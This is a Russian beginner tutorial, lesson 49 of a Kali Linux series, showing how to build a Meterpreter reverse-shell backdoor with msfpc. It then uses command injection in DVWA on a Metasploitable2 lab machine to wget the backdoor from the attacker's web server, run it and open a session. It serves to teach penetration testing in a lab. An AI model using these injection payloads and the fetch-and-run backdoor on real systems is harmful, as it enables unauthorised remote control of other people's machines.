Kali Linux

#49 Kali Linux для начинающих. Создаем бэкдор Metasploit.

В этой лекции Вы научитесь создавать бэкдор, с помощью которого Вы сможете получить шелл Meterpreter, который Вы будете использовать вместе с Metasploit. Вместо обычного шелла netcat-a, Вы получите более продвинутый шелл meterpreter-a.  Должен сказать, что если Вы учили все, о чем мы говорили ранее, то Вы поймете все, что я Вам объясню и покажу. Но если по какой-либо причине тема покажется Вам слишком сложной, не беспокойтесь об этом, так как когда Вы будете переходить на более продвинутый материал, то там будет затронута данная тематика.

Я создам исполняемый файл, который позволит мне использовать шелл meterpreter-a, и для этого я воспользуюсь скриптом сервиса msfpc, который работает на базе msfvenom. Metasploit venom – это инструмент, с помощью которого можно создавать пэйлоады, но сейчас мы будем рассматривать msfpc, который гораздо проще в использовании, нежели msfvenom. Если мы введем команду «msfpc -h», то увидим огромное количество различных типов пэйлоадов:

msfpc -h

Я могу создавать пэйлоады, которые будут влиять на машины на Windows, aspx файлы, или powershell, а также линукс .elf и т.д.

Скопируем шаблон для заполнения в самом верху вывода команды, и вставим в консоль для постепенного заполнения:

шаблон msfpc

Удаляем последние два параметра и в третьем оставляем TCP. После этого мне нужно выбрать параметр STAGED или STAGELESS. Что это такое? STAGELESS пэйлоад более самостоятелен, так как сам запускается, исполняется, и внутри у него есть весь необходимый функционал. А вот STAGED-пэйлоад разделен на несколько частей. Сначала выполняется первая часть, а затем вторая. На самом деле я удалю этот параметр и Вам не стоит о нем сейчас беспокоиться.

Для нас беспокойным будет следующее; а именно, какой шелл мы будем использовать. BIND-SHELL или REVERSE-SHELL. Мы уже знаем разницу между ними, и для нас лучший вариант – это использование обратного шелла.

Затем у меня есть выбор, хочу ли я, чтобы это был пэйлоад Metasploit или команда, которую я хочу запустить. Я могу выбрать опцию CMD, чтобы затем выбрать команду, которую я хочу запустить. Или же я могу выбрать пэйлоад Metasploit, чтобы потом работать в шелле meterpreter-a. Благодаря последнему пэйлоаду, у меня будет больше возможностей, и я выбираю опцию MSF.

Далее мне нужно выбрать порт – это 4444.

После этого мне нужно выбрать айпи-адрес, и в данном случае это будет айпишник моей машины на Kali Linux, потому что это обратный шелл. Это 192.168.119.128.

И в конце, а вернее в начале, мне нужно выбрать тип пэйлоада, который я хочу сгенерировать. Другими словами, на какой системе я буду его запускать, и в каком приложении. Я хочу, чтобы это был пэйлоад для Линукса.

Запись будет иметь вид:

создание пэйлоада для Linux

Жмем «Enter», и даем инструменту творить магию:

создание пэйлоада

Обратите внимание на строку CMD и команду, которую я бы вводил, используя msfvenom, но это не пришлось делать, так как есть опция CMD, и за меня была проделана вся работа.

В итоге мы создали исполняемый файл с расширением «.elf». В дополнении ко всему у нас создается скрипт Metasploit:

файл с расширением .elf создан

Когда я его запущу, то будет запущен Metasploit со всеми параметрами. Теперь я могу запустить этот скрипт. Все, что мне нужно, так это скопировать эту строку с параметрами, и вставить в новое окно терминала:

запуск скрипта

Эта команда запускает Metasploit и в фоновом режиме запускает «handler-metasploit» — это часть metasploit – которая занимается входящим подключением от обратного шелла, почти также как и в случае с netcat с режимом прослушивания, когда мы использовали обратный шелл. Помните, что мы настроили netcat на нашей машине, чтобы он прослушивал все входящие подключения, и когда мы подготовили цель, нам был отправлен шелл, который мы смогли захватить с помощью netcat, потому что мы настроили его на ожидании входящих соединений. Именно этим мы тут и занимаемся, используя Metasploit. Мы используем handler, который и сейчас находится в фоновом режиме:

handler находится в фоновом режиме

Он ждет подключение от пэйлоада meterpreter.

Мне нужно загрузить этот исполняемый файл, а затем запустить его на системе, на Линуксе. Для этого я хотел бы познакомить Вас с уязвимостью веб-приложений, для разнообразия. Мы рассмотрим уязвимость выполнения команд (Command Execution). Уязвимость выполнения команд, как следует из имени, позволяет нам запускать и выполнять команды на машине цели, без необходимости загружать php-шелл. Мы можем сразу выполнять команды в системе. Такое можно проверить в приложениях, которые позволяют проверить пинг на сайте, и эти значения отображаются на самой странице. Если эти функции настроены неправильно, то Вы сможете комбинировать команды. Обычно ограничиваются типы запускаемых команд. Давайте предположим, что есть веб-сайт, который позволяет проверить пинг других веб-сайтов. Этот веб-сайт в реальности позволяет запрещать все, кроме команды ping, и не разрешать ничего другого, но если неправильно его настроить, то Вы можете запустить более одной команды, и это даст Вам доступ к функционалу операционной системы, на которой хостится этот веб-сайт. Давайте я покажу Вам, что я имею ввиду на сайте DVWA:

command execution dvwa

И если Вы погуглите, то можете встретить аналогичные сайты, с подобным функционалом. Если я введу, например локальный айпи-адрес, то на сайте отобразится время на выполнение команды:

пинг локального айпи-адреса

Что произойдет, если я попытаюсь объединить его с другой командой. Введем наш локальный айпи-адрес и добавим команду pwd, перед которой будут стоять два амперсанда:

127.0.0.1 && pwd

В выводе я получаю текущую директорию (выделено салатовым в самом низу). Но самое важное то, что я запустил не одну команду, а две, что очень хорошо для атакующего, т.е для нас.

Давайте проверим, запущен ли wget в этой системе. Для этого пишу команду: «127.0.0.1 && wget -h»:

127.0.0.1 && wget -h

И к счастью для меня «wget» был запущен. Все, что мне остается, так это использовать «wget», чтобы подключиться к Kali и скачать .elf файл.

Перед этим мне нужно настроить нашу машину на Kali качестве веб-сервера и поместить этот «.elf» файл в директорию, чтобы я мог его скачать через wget на машину цели. Я копирую данный файл в директорию /var/ www/html. Команда будет выглядеть как: «cp linux-meterpreter-staged-reverse-tcp-4444.elf /var/www/html/backdoor.elf»:

cp linux-meterpreter-staged-reverse-tcp-4444.elf /var/www/html/backdoor.elf

Далее я запускаю сервер Apache2, с помощью команды «service apache2 start»:

service apache2 start

Теперь на моей машине на Kali запущен веб-сервер, и на нем есть файл «backdoor.elf». Возвращаемся к DVWA, и вводим айпи-адрес нашей машины на Kali, далее два амперсанда и команду wget, чтобы скачать файл с машины на Kali. Команда будет выглядеть как: «192.168.119.128 && wget http://192.168.119.128/backdoor.elf»:

192.168.119.128 && wget http://192.168.119.128/backdoor.elf

Давайте проверим, прошла ли загрузка. Запускаем команду «ls»:

ls command

Отлично. Я смог загрузить файл с Кали Линукс на машину Metasploitable2. Итак, перед запуском файла нужно сделать его исполняемым. Это делается с помощью команды «chmod +x backdoor.elf», и если все прошло корректно, то мы увидим х напротив файла бэкдора:

chmod +x backdoor.elf

Последний шаг. Запуск файла. Это делается с помощью команды: «192.168.119.140 && ./backdoor.elf»:

192.168.119.140 && ./backdoor.elf

Переходим в терминал, и у нас есть открытая сессия:

открытая сессия

Чтобы взаимодействовать с сессией, нужно ввести команду «sessions –i 1», где I значит – interact (взаимодействие):

открытая сессия meterpreter

Готово. Теперь у меня есть шелл meterpreter, который позволяет мне взаимодействовать с системой на Metasploitable2. Например, можно выполнить команду «sysinfo»:

команда sysinfo

Для того, чтобы перейти в стандартный терминал линукс, нужно ввести команду «shell»:

переход в стандартный терминал linux

Вот, собственно и все. Таким образом можно запустить бэкдор, который даст нам доступ к шеллу meterpreter, и захватить шелл используя Metasploit Framework.

Конечно, для того, чтобы запустить бэкдор, мне понадобилось использовать уязвимость веб-приложения, скачать исполняемый файл на машину, и запустить его на этой машине. Это всего лишь один из возможных способов.

#1 Kali Linux для начинающих. Урок 1 — Основы сетей.

#2 Kali Linux для начинающих. Урок 2 — Горячие клавиши. Часть 1

#3 Kali Linux для начинающих. Урок 2 — Горячие клавиши. Часть 2

#4 Kali Linux для начинающих. Терминал Kali Linux. Часть 1

#5 Kali Linux для начинающих. Терминал Kali Linux. Часть 2

#6 Kali Linux для начинающих. Урок 4 — Root Kali Linux. Часть 1

#7 Kali Linux для начинающих. Root Kali Linux — Часть 2

#8 Kali Linux для начинающих. Основные команды. Часть 1.

#9 Kali Linux для начинающих. Основные команды. Перемещение по директориям. Часть 2.

#10 Kali Linux для начинающих. Основные команды. Создание директорий. Часть 3

#11 Kali Linux для начинающих. Основные команды. Часть 4 — Просмотр содержимого директорий.

#12 Kali Linux для начинающих. Основные команды. Часть 5 — Просмотр содержимого файлов.

#13 Kali Linux для начинающих. Основные команды. Часть 6 — Копируем файлы и директории.

#14 Kali Linux для начинающих. Основные команды. Часть 7 — Перемещаем файлы и директории.

#15 Kali Linux для начинающих. Основные команды. Часть 8 — Удаляем файлы и директории.

#16 Kali Linux для начинающих. Управление пакетами.

#17 Kali Linux для начинающих. Откуда Kali скачивает софт.

#18 Kali Linux для начинающих. Изменения в Kali 2019 относительно APT.

#19 Kali Linux для начинающих. Архивация и сжатие. Часть 1.

#20 Kali Linux для начинающих. Архивация и сжатие. Часть 2.

#21 Kali Linux для начинающих. Архивация и сжатие. Часть 3.

#22 Kali Linux для начинающих. Специальные символы. Часть 1.

#23 Kali Linux для начинающих. Специальные символы. Часть 2

#24 Kali Linux для начинающих. Основы сетей.

#25 Kali Linux для начинающих. Администрирование. Редактирование файлов с помощью Nano.

#26 Kali Linux для начинающих. Превращаем Kali Linux в веб-сервер.

#27 Kali Linux для начинающих. Изменения в файлах конфигурации Kali Linux.

#28 Kali Linux для начинающих. Превращаем Kali Linux в SSH-сервер.

#29 Kali Linux для начинающих. Управление пользователями и группами.

#30 Kali Linux для начинающих. Работаем с правами пользователей.

#31 Kali Linux для начинающих. Разбираемся с процессами.

#32 Kali Linux для начинающих. Управляем процессами.

#33 Kali Linux для начинающих. Перенаправление и контроль вывода.

#34 Kali Linux для начинающих. Объединяем несколько команд в цепочку.

#35 Kali Linux для начинающих. Настраиваем цель.

#36 Kali Linux для начинающих. Сканируем порты с помощью Kali Linux.

#37 Kali Linux для начинающих. Сканируем порты с помощью графического интерфейса.

#38 Kali Linux для начинающих. Взламываем FTP.

#39 Kali Linux для начинающих. Сканируем уязвимости.

#40 Kali Linux для начинающих. Взламываем SSH.

#41 Kali Linux для начинающих. Взламываем веб-сервис.

#42 Kali Linux для начинающих. Взламываем базу данных. Атаки на пароли.

#43 Kali Linux для начинающих. Сниффим пароли.

#44 Kali Linux для начинающих. Повышение прав.

#45 Kali Linux для начинающих. Популярные инструменты. Быстрый обзор.

#46 Kali Linux для начинающих. Разбираемся с базовыми веб-шеллами.

#47 Kali Linux для начинающих. Что такое Bind Shell?

#48 Kali Linux для начинающих. Что такое Reverse (обратный) шелл?